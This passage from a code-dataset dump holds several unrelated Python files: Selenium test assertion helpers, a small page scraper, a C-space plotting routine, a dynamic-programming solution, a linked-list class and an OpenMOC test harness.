self.waitForElementDisplayedByLocator(tester, locator)\n \n def waitForElementEnabledByXPATH(self, tester, locator):\n self.setTestProcedure('function',\"waitForElementEnabledByXPATH\")\n return self.waitForElementEnabledByXpathWithMessage(tester, locator, \"Element by xpath:%s is not found.\" %locator)\n \n def waitForElementEnabledByXpathWithMessage(self, tester, locator,message):\n self.setTestProcedure('function',\"waitForElementEnabledByXpathWithMessage\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n i = i + 1\n if self.isElementEnabledByXPATH(tester,locator):\n self.setTestProcedure(\"debug\",\"Element by xpath:%s found.\" % locator)\n return True\n try:\n self.setTestProcedure(\"debug\",\"Searching for xpath=%s. retries=%s/%s\"%(locator,i,self.repeat_times))\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by xpath:%s is not enable: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def waitForElementEnabledById(self, tester, locator):\n self.setTestProcedure('function',\"waitForElementEnabled\")\n return self.waitForElementEnabledByIdWithMessage(tester, locator, \"Element by element_id:%s is not found.\" %locator)\n \n def waitForElementEnabledByIdWithMessage(self, tester, locator,message):\n self.setTestProcedure('function',\"waitForElementEnabledByIdWithMessage\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n i = i + 1\n if self.isElementEnabledById(tester,locator):\n self.setTestProcedure(\"debug\",\"Element by locator:%s found.\" % locator)\n return True\n try:\n self.setTestProcedure(\"debug\",\"Searching for id=%s. retries=%s/%s\"%(locator,i,self.repeat_times))\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by locator:%s is not enable: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def waitForElementEnabled(self, tester, locator):\n self.setTestProcedure('function',\"waitForElementEnabled\")\n return self.waitForElementEnabledByLocatorWithMessage(tester, locator, \"Element by locator:%s is not found.\" %locator)\n\n def waitForElementEnabledByLocatorWithMessage(self, tester, locator,message):\n self.setTestProcedure('function',\"waitForElementEnabledByLocatorWithMessage\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementEnabled(tester,locator)):\n self.setTestProcedure(\"debug\",\"Element by locator:%s found.\" % locator)\n return True\n try:\n self.setTestProcedure(\"debug\",\"Searching for Id. retries=%s/%s\"%(i,self.repeat_times))\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by locator:%s is not enable: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n #tester.assertTrue((self.isElementEnabled(locator)), message)\n\n def assertTextPresent(self, tester, text_expected):\n self.setTestProcedure('function',\"assertTextPresent\")\n tester.assertTrue((self.isTextPresent(text_expected)),\"Text \\\"\" + str(text_expected) + \"\\\" not present on page!\" + self.driver.find_element_by_css_selector(\"html>body\").text )\n \n def assertElementPresentById(self, tester, element_id):\n self.setTestProcedure('function',\"assertElementPresentById\")\n tester.assertTrue((self.isElementPresentById(tester,element_id)),\"Element by id:%s not present on page!\" %element_id) \n \n def assertElementPresentByName(self, tester, name, partial_match=None):\n self.setTestProcedure('function',\"assertElementPresentByName\")\n if not self.isElementPresentByName(name):\n raise NoSuchElementException(\"Element not found : ByName - %s\" % name)\n\n def assertElementPresentByNameXPATH(self, tester, text_expected, xpath):\n self.setTestProcedure('function',\"assertElementPresentByNameXPATH\")\n found_element = False\n if text_expected != \"none\":\n if isinstance(xpath, list):\n for path in xpath:\n elements = self.driver.find_elements_by_xpath(path)\n for element in elements:\n text_actual = element.text\n if text_actual == text_expected or text_expected in text_actual:\n self.setTestProcedure(\"debug\",\"Text:%s found.\"%text_expected)\n found_element = True\n else:\n elements = self.driver.find_elements_by_xpath(xpath)\n for element in elements:\n text_actual = element.text\n if text_actual == text_expected or text_expected in text_actual:\n found_element = True\n if not found_element:\n self.setTestProcedure(\"error\",\"Element by xpath:%s is not enable: %s\" %xpath )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n raise NoSuchElementException(\"Element not found : ByName - %s\" % text_expected)\n\n def assertTextNotPresent(self,tester, text_expected):\n self.setTestProcedure('function',\"assertTextNotPresent\")\n tester.assertTrue((self.isTextNotPresent(text_expected)),\"Text %s is present on page!\"%text_expected )\n\n def assertTextPresentByLocator(self, tester, text_expected, locator):\n self.setTestProcedure('function',\"assertTextPresentByLocator\")\n tester.assertTrue((self.isTextPresentByLocator(tester,text_expected, locator)),\"Text: %s,by Locator:%s are not present.\"%(text_expected,locator))\n \n def assertTextPresentById(self, tester, text_expected, element_id):\n self.setTestProcedure('function',\"assertTextPresentById\")\n tester.assertTrue((self.isTextPresentById(tester,text_expected, element_id)),\"Text:%s and by id:%s are not present.\" %(text_expected,element_id))\n \n def assertSubstringPresentById(self, tester, text_expected, element_id):\n self.setTestProcedure(\"function\",\"assertSubstringPresentById:\")\n tester.assertTrue((self.isSubstringPresentById(text_expected, element_id)),\"Substring:%s, id:%s are not present.\"%(text_expected,element_id))\n \n def assertSubstringPresentByXPATH(self, tester, text_expected, xpath):\n self.setTestProcedure(\"function\",\"assertSubstringPresentByXPATH:\")\n tester.assertTrue((self.isSubstringPresentByXPATH(text_expected, xpath)),\"Substring:%s, xpath:%s are not present.\"%(text_expected,xpath))\n \n def assertTextPresentByXPATH(self, tester, text_expected, xpath, check_exactly = True):\n self.setTestProcedure(\"function\",\"assertTextPresentByXPATH:\")\n tester.assertTrue((self.isTextPresentByXPATH(tester,text_expected, xpath, check_exactly)),\"Text:%s, xpath:%s are not present.\" % (text_expected,xpath))\n\n def assertTextNotPresentByLocator(self, tester, text_expected, locator):\n self.setTestProcedure('function',\"assertTextNotPresentByLocator\")\n tester.assertTrue((self.isTextNotPresentByCssSelector(text_expected, locator)),\"Text:%s, locator:%s are present.\" %(text_expected,locator))\n\n def assertLabelPresentByLocator(self, tester, label, locator):\n self.setTestProcedure('function',\"assertLabelPresentByLocator\")\n tester.assertTrue((self.isTextPresentByLocator(label, locator)),\"Text:%s, xpath:%s are not present.\" % (label,locator))\n \n def assertElementContainsText(self, tester, text_expected, locator):\n self.setTestProcedure('function',\"assertElementContainsText\")\n tester.assertTrue((self.isTextPresentByLocator(text_expected, locator)),\"Text:%s, locator:%s are not present.\" % (text_expected,locator))\n #self.assertTrue((text_expected in self.driver.find_element_by_css_selector(locator).text), \"Element does not contain \" + text_expected)\n \n def assertElementContainsTextById(self, tester, text_expected, element_id):\n self.setTestProcedure('function',\"assertElementContainsTextById\")\n tester.assertTrue((self.isTextPresentById(text_expected, element_id)),\"Text:%s, id:%s are not present.\" % (text_expected,element_id))\n\n def assertElementPresentByLocator(self, tester, locator):\n self.setTestProcedure('function',\"assertElementPresentByLocator\")\n tester.assertTrue((self.isElementPresentByLocator(locator)),\"Locator:%s are not present.\" % locator)\n\n def assertElementPresentByLinkText(self, tester, text_link):\n self.setTestProcedure('function',\"assertElementPresentByLinkText\")\n tester.assertTrue((self.isElementPresentByLinkText(text_link)),\"Text:%s is not present.\" % text_link)\n \n def assertElementPresentByXPATH(self, tester, xpath):\n self.setTestProcedure('function',\"assertElementPresentByXPATH\")\n tester.assertTrue((self.isElementPresentByXPATH(xpath)),\"Xpath:%s is not present.\" %xpath)\n \n def isElementSelected(self, locator):\n self.setTestProcedure('function',\"isElementSelected\")\n if(self.driver.find_element_by_css_selector(locator).is_selected()):\n return True\n else:\n return False\n \n def isElementSelectedById(self, element_id):\n self.setTestProcedure('function',\"isElementSelectedById\")\n if(self.driver.find_element_by_id(element_id).is_selected()):\n return True\n else:\n return False \n \n def isElementWithTextSelected(self, tester, text_expected, locator):\n self.setTestProcedure('function',\"isElementWithTextSelected\")\n result = False\n elements = self.driver.find_elements_by_css_selector(locator)\n for element in elements:\n text_actual = element.text\n if(text_actual == text_expected):\n if(element.is_selected()):\n self.setTestProcedure(\"debug\",\"Element found.\")\n result = True\n else:\n self.setTestProcedure(\"error\",\"Element by locator:%s is not enable: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n result = False \n return result\n\n def assertElementPresent(self, tester, by_criteria, value):\n self.setTestProcedure('function',\"assertElementPresent\")\n if(self.isElementPresent(by_criteria, value)):\n self.setTestProcedure(\"debug\",\"Element found.\")\n else:\n self.setTestProcedure(\"error\",\"Element by value:%s is not enable: %s\" %value )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n tester.assertTrue((self.isElementPresent(by_criteria, value)),\"Element by criteria:%s not present on page!\" %by_criteria)\n\n\n def waitForTitleWithExtraTime(self, tester, title, extra_milliseconds):\n self.setTestProcedure('function',\"waitForTitleWithExtraTime\")\n wait_interval = self.wait_time + int(extra_milliseconds) / 100;\n try:\n #Wait before checking the page\n self.pause(1);\n except:\n self.setTestProcedure(\"debug\",\"Element not present\")\n i= 0\n for i in range(self.repeat_times):\n i = i + 1\n if (self.driver.title.strip() == title):\n self.setTestProcedure(\"debug\",self.driver.title.strip())\n return\n else:\n try:\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"debug\",\"Title:\" + title + \"not present\")\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n tester.assertEquals(self.driver.title.strip(),title,\"Current title is equal '\" + self.driver.title.strip() + \"', but expected to be '\" + title + \"'\")\n\n '''\n Will wait for some time until the page title will be shown\n @param title - page title\n '''\n def waitForTitle(self, tester, title):\n self.setTestProcedure('function',\"waitForTitle\")\n self.waitForTitleWithExtraTime(tester, title, 0)\n\n '''\n Is the specified title present on page\n @param title - Page Title\n @return - true if title present, else in other case\n '''\n def isTitlePresent(self, tester, title):\n self.setTestProcedure('function',\"isTitlePresent\")\n return tester.assertEquals(self.driver.title.strip(),title,\"Current title is equal '\" + self.driver.title.strip() + \"', but expected to be '\" + title + \"'\")\n\n '''\n Assert title present on page\n @param title - Page Title\n '''\n def assertTitle(self, tester, title):\n self.setTestProcedure('function',\"assertTitle\")\n tester.assertTrue(self.isTitlePresent(title))\n \n def waitForElementPresent(self, tester, by_criteria, value):\n self.setTestProcedure('function',\"waitForElementPresent\")\n self.waitForElementPresentWithMessage(tester, by_criteria, value, \"Element by %s,value:%s not present on page!\"%(by_criteria,value))\n\n def waitForElementPresentByName(self, tester, name):\n self.setTestProcedure('function',\"waitForElementPresentByName\")\n self.waitForElementPresentByNameWithMessage(tester, name, \"Element with name:%s not present on page!\"%name)\n\n def isTextNotPresentByCssSelector(self, text_expected, locator):\n self.setTestProcedure('function',\"isTextNotPresentByCssSelector\")\n elements = self.driver.find_elements_by_css_selector(locator)\n for element in elements:\n text_actual = element.text\n if(text_actual == element.text):\n self.setTestProcedure(\"debug\",\"text:%s found.\"%text_expected)\n return False\n return True\n\n def isTextNotPresent(self, tester, text_expected):\n self.setTestProcedure('function',\"isTextNotPresent\")\n try:\n result = text_expected not in (self.driver.find_element_by_css_selector(\"html>body\").text)\n return result\n except:\n self.setTestProcedure(\"debug\",\"Text:%s is not present\"%text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n '''\n def waitForElementPresentByLocatorWithMessage(self, tester, locator, message):\n self.setTestProcedure('function',\"waitForElementPresentByLocatorWithMessage\")\n wait_interval = self.wait_time / 100\n i=0\n for i in range(self.repeat_times):\n i = i + 1\n try:\n if(self.isElementPresentByLocator(locator)):\n return\n self.pause(wait_interval)\n except:\n #Exception\n pass\n #print \"*****\" + str(i)\n self.setTestProcedure(\"debug\",\"Element not present\")\n self.setTestProcedure(\"error\",\"Element by id is not present: %s\" %id )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n tester.assertTrue((self.isElementPresentByLocator(locator)),message )\n ''' \n '''\n Using Web Driver Wait\n '''\n '''\n def isElementPresentByLocator(self, locator):\n self.setTestProcedure('function',\"here\")\n wait = WebDriverWait(self.driver, 10)\n def present(element):\n if element.is_displayed():\n return element\n return False\n element = wait.until(lambda d: present(d.find_element_by_css_selector(locator)))\n if(element==False):\n\n return False\n else:\n return True\n '''\n def waitForElementPresentWithMessage(self, tester, by_criteria, value, message):\n self.setTestProcedure('function',\"waitForElementPresentWithMessage\")\n wait_interval = self.wait_time / 100\n i=0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementPresent(by_criteria, value)):\n self.setTestProcedure(\"debug\",\"text=%s\"%value)\n return True\n try:\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by criteria:%s is not present:\"%by_criteria )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n #tester.assertTrue((self.isElementPresent(byCriteria, value)),message )\n\n def waitForElementPresentByNameWithMessage(self, tester, name, message):\n self.setTestProcedure('function',\"waitForElementPresentByNameWithMessage\")\n wait_interval = self.wait_time / 100\n i=0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementPresentByName(name)):\n return True\n try:\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by id is not present: %s\" %name )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n ##\n #@brief: Wait for text on the page and assert if the text is present\n #param :text_expected: any text message\n #description: Wait for text on the page to be present until the expected wait time and assert if the text is present\n \n def waitAndAssertTextPresentOnPage(self, tester, text_expected):\n self.setTestProcedure('function',\"waitAndAssertTextPresentOnPage\")\n self.waitForTextPresent(tester, text_expected)\n tester.assertTrue((self.isTextPresent(text_expected)), \"There is no %s text on the page\"%text_expected)\n # \n # Brief Description : hide Work Hub locator from download page when Public hub is selected for iOS\n \n def assertElementNotPresentByLocator(self, tester, locator):\n self.setTestProcedure('function',\"assertElementNotPresentByLocator\")\n tester.assertFalse((self.isElementNotPresentByLocator(locator)),\"Element by locator:%s presents on page!\"%locator )\n \n def assertElementNotPresentByXpath(self, tester, xpath):\n self.setTestProcedure('function',\"assertElementNotPresentByXpath\")\n tester.assertFalse((self.isElementNotPresentByXpath(xpath)),\"Element by xpath:%s presents on page!\" %xpath)\n \n def assertElementNotDisplayedById(self, tester, element_id):\n self.setTestProcedure('function',\"assertElementNotDisplayedById\")\n tester.assertFalse((self.isElementDisplayedById(element_id)),\"Element by id:%s displayed on page!\"%element_id )\n \n def assertElementNotPresentByName(self, tester, name):\n self.setTestProcedure('function',\"assertElementNotPresentByName\")\n tester.assertFalse((self.isElementPresentByName(name)),\"Element by name:%s not present on page!\"%name ) \n\n def isCheckboxSelectedBySelector(self, locator):\n self.setTestProcedure('function',\"isCheckboxSelectedBySelector\")\n element = self.driver.find_element_by_css_selector(locator)\n return element.get_attribute(\"checked\") \n \n def assertCheckboxNotSelectedBySelector(self, tester, locator):\n self.setTestProcedure('function',\"assertCheckboxNotSelectedBySelector\")\n element = self.driver.find_element_by_css_selector(locator)\n tester.assertFalse(element.get_attribute(\"checked\"))\n \n def assertCheckboxSelectedBySelector(self, tester, locator):\n self.setTestProcedure('function',\"assertCheckboxSelectedBySelector\")\n element = self.driver.find_element_by_css_selector(locator)\n tester.assertTrue(element.get_attribute(\"checked\"))\n \n def assertTextContains(self,text_expected,text_actual):\n #self.setTestProcedure(\"function\",\"assertTextContains:exp=%s,act=%s\"%(text_expected,text_actual))\n self.setTestProcedure(\"function\",\"assertTextContains:exp:%s\"%text_expected)\n if text_expected in text_actual:\n return True\n else:\n return False\n \n def assertTextNotContains(self,text_expected,text_actual):\n #self.setTestProcedure(\"function\",\"assertTextContains:exp=%s,act=%s\"%(text_expected,text_actual))\n self.setTestProcedure(\"function\",\"assertTextNotContains:not_exp:%s,text_actual=%s\"%(text_expected,text_actual))\n if text_expected in text_actual:\n return False\n else:\n return True\n \n def assertNumber(self,key_word,value_expected,value_actual):\n value_expected, key_word = value_expected.split(\" \")\n self.setTestProcedure(\"function\",\"assertNumber:key_word=%s,exp=%s,act=%s\"%(key_word,value_expected,value_actual))\n if \".\" in value_expected:\n value_expected = float(value_expected) #cast to float\n value_actual = float(value_actual)\n else:\n value_expected = int(value_expected)\n value_actual = int(value_actual)\n \n self.setTestProcedure(\"debug\", \"text_expected=%s type=%s, text_actual=%s type=%s\"%(value_expected,type(value_expected),value_actual,type(value_actual)))\n if key_word == \"EQUAL\":\n if value_expected == value_actual:\n return True\n else:\n return False\n if key_word == \"LESS_THAN\":\n if value_expected < value_actual:\n return True\n else:\n return False\n elif key_word == \"LESS_THAN_OR_EQUAL\":\n if value_expected <= value_actual:\n return True\n else:\n return False\n elif key_word == \"GREATER_THAN\":\n if value_expected > value_actual:\n return True\n else:\n return False\n \n elif key_word == \"GREATER_THAN_OR_EQUAL\":\n if value_expected >= value_actual:\n return True\n else:\n return False\n \n def getVerficationKeywords(self):\n 'return list'\n verification_dictionary= [\"NOT_CONTAIN\",\"CONTAIN\",\"LESS_THAN\",\"LESS_THAN_OR_EQUAL\",\"EQUAL\",\"GREATER_THAN\",\"GREATER_THAN_OR_EQUAL\"]\n return verification_dictionary\n \n def assertTextFromDictionary(self,tester,dict_data,text_expected):\n self.setTestProcedure(\"function\", \"assertTextFromDictionary=%s\"%text_expected)\n self.setTestProcedure(\"debug\", \"dict_data=%s\"%dict_data)\n \n record_index = 0\n key_word = None\n status = False\n total_dict_data_record = len(dict_data)\n #verification_dictionary= [\"CONTAIN\",\"LESS_THAN\",\"LESS_THAN_OR_EQUAL\",\"EQUAL\",\"GREATER_THAN\",\"GREATER_THAN_OR_EQUAL\"]\n #self.setTestProcedure(\"debug\", \"verification_dictionary=%s\"%self.getVerficationKeywords())\n self.setTestProcedure(\"debug\", \"text_expected=%s\"%text_expected)\n key_expected,value_expected =text_expected.split(\"=\",1)\n value_expected = value_expected.replace(\"\\\"\",\"\")\n value_expected= value_expected.rstrip()\n value_expected_org = value_expected.rstrip()\n for kw in self.getVerficationKeywords():\n #kw_size = len(kw)\n #user_kw_size = len(value_expected)\n if kw in value_expected:\n #if value_expected.endswith(kw) and abs(user_kw_size - kw_size) <= 3:\n value_expected,key_word_temp = value_expected.split(kw)\n key_word = kw\n break\n self.setTestProcedure(\"debug\", \"key_word=%s,key=%s,value_exp=%s\"%(key_word,key_expected,value_expected))\n\n for i in range(total_dict_data_record):\n record_index = i+1\n #print(\"Record=%s\"%record_index)\n value_actual = self.get_value_dict_index(dict_data, i, key_expected)\n self.setTestProcedure(\"debug\",\"actual:%s=%s vs expected:%s=%s\"%(key_expected,value_actual,key_expected,value_expected))\n #value_actual = list_data.get(key_exp) #get actual value for verification\n if value_actual is not None:\n value_actual = value_actual.strip()\n value_expected = value_expected.strip()\n \n if value_actual is None: # mean not found in actual data. not point to continue \n self.setTestProcedure(\"debug\", \"%s not found from json data in %s of %s record.\"%(key_expected,record_index,total_dict_data_record))\n \n elif value_expected == \"ANYTHING\":\n if len(value_expected) > 1:\n #record_index +=1\n self.setTestProcedure(\"debug\", \"%s=%s not empty in %s of %s.Satisfy the requirement. Passed!\"%(key_expected,value_actual,record_index,total_dict_data_record)) \n return True\n \n elif key_word is None and len(value_expected) > 0:\n if value_expected == value_actual:\n self.setTestProcedure(\"debug\", \"%s=%s found in %s of %s.\"%(key_expected,value_actual,record_index,total_dict_data_record)) \n return True\n \n elif key_word == \"CONTAIN\":\n status = self.assertTextContains(value_expected, value_actual)\n if status:\n self.setTestProcedure(\"debug\", \"%s=%s found in %s of %s record.\"%(key_expected,value_actual,record_index,total_dict_data_record)) \n return True\n elif key_word == \"NOT_CONTAIN\":\n status = self.assertTextNotContains(value_expected, value_actual)\n if not status:\n self.setTestProcedure(\"fail\", \"%s=%s found in %s of %s record.\"%(key_expected,value_actual,record_index,total_dict_data_record)) \n return False\n else:\n self.setTestProcedure(\"debug\", \"%s=%s not found in %s of %s record.\"%(key_expected,value_actual,record_index,total_dict_data_record)) \n \n if record_index >= total_dict_data_record:\n self.setTestProcedure(\"debug\", \"%s=%s not found in %s of %s record.\"%(key_expected,value_actual,record_index,total_dict_data_record))\n return True\n \n elif key_word == \"EQUAL\" or key_word == \"LESS_THAN\" or key_word == \"LESS_THAN_OR_EQUAL\" or key_word == \"GREATER_THAN\" or key_word == \"GREATER_THAN_OR_EQUAL\":\n status = self.assertNumber(key_word, value_expected_org, value_actual)\n if status:\n self.setTestProcedure(\"debug\", \"Exp:%s=%s %s Act:%s=%s found in %s of %s record.\"%(key_expected,value_expected,key_word,key_expected,value_actual,record_index,total_dict_data_record)) \n return True\n else:\n self.setTestProcedure(\"debug\", \"Exp:%s=%s %s Act:%s=%s not found in %s of %s record.\"%(key_expected,value_expected,key_word,key_expected,value_actual,record_index,total_dict_data_record)) \n return False\n if not status:\n self.setTestProcedure(\"debug\", \"Warning:%s=%s not found in %s of %s record.\"%(key_expected,value_actual,record_index,total_dict_data_record)) \n \n return status\n \n def get_value_dict_index(self,list_dict,index, key):\n #self.setTestProcedure(\"function\", \"get_value_index=%s\"%index)\n try:\n dict_data = list_dict[index]\n if key in dict_data:\n return dict_data[key]\n except IndexError:\n self.setTestProcedure(\"error\", \"index=%s is out of index from the record.\")\n \n \n def get_value_dict(self,list_dict, key):\n for value in list_dict:\n if key in value:\n return value[key]\n \n def verifyErrorMessageByXPATH(self,tester,text_expected,xpath,btn_xpath):\n self.setTestProcedure(\"function\", \"verifyErrorMessage\")\n max_retry = 5\n wait_time = 2\n status = self.waitForElementByXpathWithWaitTime(tester, xpath, max_retry, wait_time)\n if status:\n self.clickElementByXPATH(tester, xpath)\n return True","sub_path":"lib/core/mobile/assertions.py","file_name":"assertions.py","file_ext":"py","file_size_in_byte":60945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"604707586","text":"import urllib\nfrom bs4 import BeautifulSoup as Soup\n\nyyetsSoup = Soup(urllib.urlopen('http://www.yyets.com/resource/29707'), 'lxml')\nscriptResult = \"\" \nfor script in yyetsSoup.find_all('script'):\n scriptResult += \"\\n\" + script.__str__();\n\nfile = open('yyetsJs.html', 'w')\nfile.write(scriptResult)\nfile.close()\n","sub_path":"getRawPageResource.py","file_name":"getRawPageResource.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"131706625","text":"import math\n\n\ndef draw(ax, cspace, obstacles, qI, qG, G, path, title=\"\"):\n \"\"\"Plot the C-space, obstacles, qI, qG, and graph on the axis ax\n\n @type ax: axes.Axes, created, e.g., fig, ax = plt.subplots()\n @type cspace: a list [(xmin, xmax), (ymin, ymax)] indicating that the C-space\n is given by [xmin, xmax] \\times [ymin, ymax].\n @type obstacles: a list [obs_1, ..., obs_m] of obstacles, where obs_i is a list of coordinates\n on the boundary of the i^{th} obstacle.\n @type qI: a tuple (x, y), indicating the initial configuration.\n @type qG: a tuple (x, y), indicating the goal configuration\n @type path: a list of tuples specifying the sequence of configurations visited along the path\n @type title: a string, indicating the title of the plot\n \"\"\"\n\n draw_cspace(ax, cspace, obstacles)\n G.draw(ax)\n if qI is not None:\n if len(qI) == 2:\n ax.plot(qI[0], qI[1], \"bx\", markersize=10)\n elif len(qI) == 3:\n ax.plot(\n qI[0],\n qI[1],\n marker=(3, 0, qI[2] * 180 / math.pi - 90),\n markersize=15,\n linestyle=\"None\",\n markerfacecolor=\"blue\",\n markeredgecolor=\"blue\",\n )\n if qG is not None:\n if len(qI) == 2:\n ax.plot(qG[0], qG[1], \"bo\", markersize=10)\n elif len(qG) == 3:\n ax.plot(\n qG[0],\n qG[1],\n marker=(3, 0, qG[2] * 180 / math.pi - 90),\n markersize=15,\n linestyle=\"None\",\n markerfacecolor=\"red\",\n markeredgecolor=\"red\",\n )\n if len(path) > 0:\n ax.plot(\n [state[0] for state in path],\n [state[1] for state in path],\n \"b-\",\n linewidth=5,\n )\n if len(title) > 0:\n ax.set_title(title, fontsize=20)\n\n\ndef draw_cspace(ax, cspace, obstacles, tick_step=[1, 1]):\n \"\"\"Draw the C-space and C-space obstacles on the axis ax\n\n @type cspace: a list [(xmin, xmax), (ymin, ymax)] indicating that the C-space\n is given by [xmin, xmax] \\times [ymin, ymax].\n @type obstacles: a list [obs_1, ..., obs_m] of obstacles, where obs_i is a list of coordinates\n on the boundary of the i^{th} obstacle.\n \"\"\"\n for obs in obstacles:\n ax.plot([v[0] for v in obs], [v[1] for v in obs], \"r-\", linewidth=3)\n\n ax.set_xticks(\n range(math.ceil(cspace[0][0]), math.floor(cspace[0][1]) + 1, tick_step[0])\n )\n ax.set_yticks(\n range(math.ceil(cspace[1][0]), math.floor(cspace[1][1]) + 1, tick_step[1])\n )\n ax.set(xlim=cspace[0], ylim=cspace[1])\n ax.set_aspect(\"equal\", adjustable=\"box\")\n ax.tick_params(axis=\"x\", labelsize=20)\n ax.tick_params(axis=\"y\", labelsize=20)\n","sub_path":"draw_cspace.py","file_name":"draw_cspace.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"380086116","text":"# -*- coding:utf-8 -*-\n\nimport sys\ninput = sys.stdin.readline\nW = int(input())\nn,k = map(int, input().split())\n\ndp = [ [ 0 for __ in range(k+1) ] for _ in range(W+1)]\na = list(range(k, 0, -1))\nfor i in range(n):\n w, priority = map(int, input().split())\n b = list(range(w, W+1))\n for num in a:\n for haba in b:\n dp[haba][num] = max(dp[haba][num], dp[haba-w][num-1] + priority)\n\nprint(dp[W][k])\n","sub_path":"practice/dp/abc015-d.py","file_name":"abc015-d.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"346420549","text":"class Node(object):\n def __init__(self, data, next):\n self.data = data\n self.next = next\n\n\nclass SingleList(object):\n firstNode = None\n lastNode = None\n\n def show(self):\n print('Showing list data:')\n current_node = self.firstNode\n while current_node is not None:\n print(current_node.data, \" -> \", end=\"\")\n print(\"current_node\",id(current_node))\n print(\"current_node.next\",id(current_node.next))\n print()\n current_node = current_node.next\n print(None)\n\n def append(self, data):\n node = Node(data, None)\n if self.firstNode is None:\n self.firstNode = self.lastNode = node\n else:\n self.lastNode.next = node\n self.lastNode = node\n\n print(\"node\",id(node))\n print(\"node.data\",id(node.data))\n print(\"node.next\",id(node.next))\n print(\"self.firstNode\",id(self.firstNode))\n print(\"self.lastNode\",id(self.lastNode))\n print()\n\n def remove(self, node_value):\n current_node = self.firstNode\n previous_node = None\n while current_node is not None:\n if current_node.data == node_value:\n # if this is the first node (head)\n if previous_node is not None:\n previous_node.next = current_node.next\n else:\n self.firstNode = current_node.next\n\n # needed for the next iteration\n previous_node = current_node\n current_node = current_node.next\n\n def size(self):\n size = 0\n current_node = self.firstNode\n while current_node is not None:\n size = size + 1\n current_node = current_node.next\n print(\"Size :\",size)\n\n def operations(self,option):\n if option == 1:\n self.show()\n elif option == 2:\n pass\n elif option == 3:\n self.size()\n else:\n pass\n\n\nif __name__ == \"__main__\":\n s = SingleList()\n\n print(\"Enter values into the LinkedList.\")\n while True:\n x = input()\n if x == \"\":\n break\n else:\n s.append(x)\n print(\"You have successfully entered elements into the LinkedList\")\n\n print(\"Now select one of the following options.\")\n print(\"1..To See the Current Status of LinkedList\")\n print(\"2..To Delete any element of the LinekdList\")\n print(\"3..To know the size of the LinkedList\")\n option = int(input())\n\n s.operations(option)\n","sub_path":"linked_lists/SingleLinkedList_2.py","file_name":"SingleLinkedList_2.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388123706","text":"#!/usr/bin/env python\n\nimport os\nimport sys\n\nsys.path.insert(0, os.pardir)\nsys.path.insert(0, os.path.join(os.pardir, 'openmoc'))\nfrom testing_harness import TestHarness\nfrom input_set import HomInfMedInput\nimport openmoc\n\n\nclass TwoDGradientTestHarness(TestHarness):\n \"\"\"An eigenvalue calculation in a cube with vacuum BCs along xmin and\n ymax and reflective BCs elsewhere with 2-group cross section data.\"\"\"\n\n def _create_geometry(self):\n \"\"\"Put VACUUM boundary conditions on left and right boundaries.\"\"\"\n\n self.input_set.create_materials()\n self.input_set.create_geometry()\n\n # Get the root Cell\n cells = self.input_set.geometry.getAllCells()\n for cell_id in cells:\n cell = cells[cell_id]\n if cell.getName() == 'root cell':\n root_cell = cell\n\n # Apply VACUUM BCs on the xmin and ymax surfaces\n surfaces = root_cell.getSurfaces()\n for surface_id in surfaces:\n surface = surfaces[surface_id]._surface\n if surface.getName() == 'xmin':\n surface.setBoundaryType(openmoc.VACUUM)\n if surface.getName() == 'ymax':\n surface.setBoundaryType(openmoc.VACUUM)\n\n def __init__(self):\n super(TwoDGradientTestHarness, self).__init__()\n self.input_set = HomInfMedInput()\n\n\nif __name__ == '__main__':\n harness = TwoDGradientTestHarness()\n harness.main()\n","sub_path":"tests/test_2d_gradient/test_2d_gradient.py","file_name":"test_2d_gradient.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"357842782","text":"import json\nimport os\n\ndef combineAllCaches(directory, newFname):\n eliminateRepeats(directory)\n\n linkDict = dict()\n for file in os.listdir(directory):\n fixFilmCache(directory + file)\n with open(directory + file, 